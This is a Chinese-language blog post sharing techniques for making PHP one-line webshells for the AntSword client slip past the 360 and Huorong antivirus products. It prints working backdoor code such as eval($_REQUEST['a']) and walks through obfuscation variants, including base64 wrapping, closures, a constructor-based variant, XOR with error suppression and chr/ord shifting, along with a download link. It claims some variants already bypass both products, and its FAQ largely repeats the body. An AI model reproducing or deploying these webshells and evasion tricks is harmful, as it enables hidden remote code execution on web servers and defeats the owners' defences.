首页 蚁剑PHP一句话木马免杀思路分享(绕过360与火绒)

蚁剑PHP一句话木马免杀思路分享(绕过360与火绒)

更新于 2026-10-03

蚁剑PHP木马免杀思路适用场景

这篇文章主要面向使用蚁剑进行Web渗透测试的朋友,核心目标是解决PHP一句话木马在上传时被安全软件拦截的问题。文中分享的代码思路,着重于让木马先能落地不被查杀,再去考虑流量层面的特征。文中示例均以连接密码为 a 进行演示,适合有一定PHP基础、正在研究免杀绕过的读者参考。

蚁剑PHP木马免杀思路相关安装包下载

为了方便大家下载,我已经给大家整理好了资源。资源链接放在下面,自取就好,如果链接失效,可以在评论区留言,我看到了会及时更新。

夸克网盘下载

手机可复制下载 链接:夸克网盘下载

蚁剑免杀思路与代码示例详解

蚁剑能够连接的关键在于存在 eval 函数。无论是蚁剑还是Godzilla,都是通过代码执行进而命令执行,所以明文马儿里面都会有 eval 函数,这个函数是无法替换的。

这里有个例子:使用 <?php eval($_REQUEST["a"]);?> 蚁剑可以连接成功,但无法直接拼接执行命令。而使用 <?php passthru($_REQUEST["a"]);?>,蚁剑会显示数据为空,但可以拼接执行命令。

构造思路:

  1. 加密再解密 eval 函数。
  2. 更改 eval 写法。

代码实现(示例中连接密码均为a):

  1. 参数传递 + 注释混淆 + 动态执行:<?php eval("/*echo*/".$_REQUEST["a"]);?>
  2. 8字节尾部混淆trick:<?php eval($_REQUEST["a"]."#aaa");?>

当然了,现在这种简单的写法肯定是不免杀的,需要加上加解密。

  1. base64加解密:<?php eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");?>

  2. 条件判断(增加传递参数)+编码:通过判断 $_REQUEST["b"] 是否为空,来选择执行 eval 还是输出其他内容。

  3. 使用闭包函数:定义一个函数 a,其返回一个闭包,在闭包内执行 eval,再调用这个闭包。

  4. 魔术方法(请求参数 -> 对象初始化 -> 代码执行):定义一个类 test,在构造函数中执行 eval,实例化时传入请求参数。

独家秘籍(这个已经可以绕过360和火绒了):加个@!!!

  1. 使用 xorEncryptDecrypt 函数对请求参数进行XOR加解密,并在执行 eval 前加上错误抑制符 @。

终极思路(chr配合ord加解密):

  1. 通过 chr((ord($c) + $offset) % 256) 和 chr((ord($c) - $offset + 256) % 256) 这种位移算法进行加解密。

蚁剑免杀思路注意事项

文中提到的“更改eval写法”和“加个@”等技巧,都是针对特定安全软件版本的测试结果,不同环境下的查杀策略可能会有差异。示例代码中的连接密码均为 a,在实际使用中建议修改。

常见问题

问:为什么蚁剑连接时,明文木马中必须包含eval函数? 答:因为蚁剑等工具是通过执行代码的方式来实现命令执行,所以明文木马中需要存在 eval 函数才能实现连接。

问:文中提到的“终极思路”具体指什么? 答:指的是使用 chr 配合 ord 进行加解密运算的代码实现方法,原文中提到“终极思路(chr配合ord加解密)”。

问:示例代码中的连接密码可以修改吗? 答:可以修改。文中明确指出“代码实现(示例中连接密码均为a)”,说明 a 仅作为示例使用,实际操作中可以根据需要修改。